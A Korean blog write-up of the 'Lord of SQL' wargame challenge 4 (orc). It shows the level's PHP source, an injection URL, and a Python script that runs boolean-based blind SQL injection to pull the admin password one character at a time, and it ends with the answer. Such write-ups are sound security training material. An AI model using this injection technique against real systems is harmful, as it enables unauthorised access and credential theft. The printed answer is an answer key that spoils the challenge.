EASY7

Lord of SQL 4번 본문

Project/Lord of SQL

Lord of SQL 4번

E.asiest 2019. 7. 29. 15:04

Lord of SQL 4번


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>

 

#소스코드 분석 

세부분으로 나눌 수 있다.

 if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

table명인 prob, _, ., (, )가 대소문자 구별 없이 나오면 No Hack

 

if($result['id']) echo "<h2>Hello admin</h2>"

sql injection 해서 로그인 성공하면 Hello admin

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

id가 admin인 pw와 파라미터 pw가 동일하면 성공

 

 

#PHP 함수 정리 

1) php의 preg_match(정규칙 표현, 검색 대상 문자열) 함수

pattern이 매치되는 횟수를 반환한다. 0(매치없음) 또는 1(매치함)

 

 

#해결방법

http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or length(pw)=8 and id='admin 

하면 Hello Admin이 나오므로 pw의 길이가 8임을 알 수 있다.

 

 

python3 requests 문서들을 참고하여 스크립트를 작성한다.


import requests

URL = 'http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php'
cookies ={'PHPSESSID' : '내 쿠키값'}
 
for i in range(1,9) :
    for j in range(32,127) :
        params = {'pw' : '\' or id=\'admin\' and ascii(substr(pw,%d,1))=\'%d' %(i, j)}
        res = requests.get(url=URL, params=params, cookies=cookies)
        if("Hello admin" in res.text) :
            print (chr(j))
            break


 

정답은 295d5844

 

 

 

'Project > Lord of SQL' 카테고리의 다른 글

Lord of the SQL 9번  (0) 2019.08.04
Lord of the SQL 8번  (0) 2019.08.04
Lord of the SQL 7번  (0) 2019.08.04
Lord of the SQL 6번  (0) 2019.08.04
Lord of SQL 5번  (0) 2019.08.04
Comments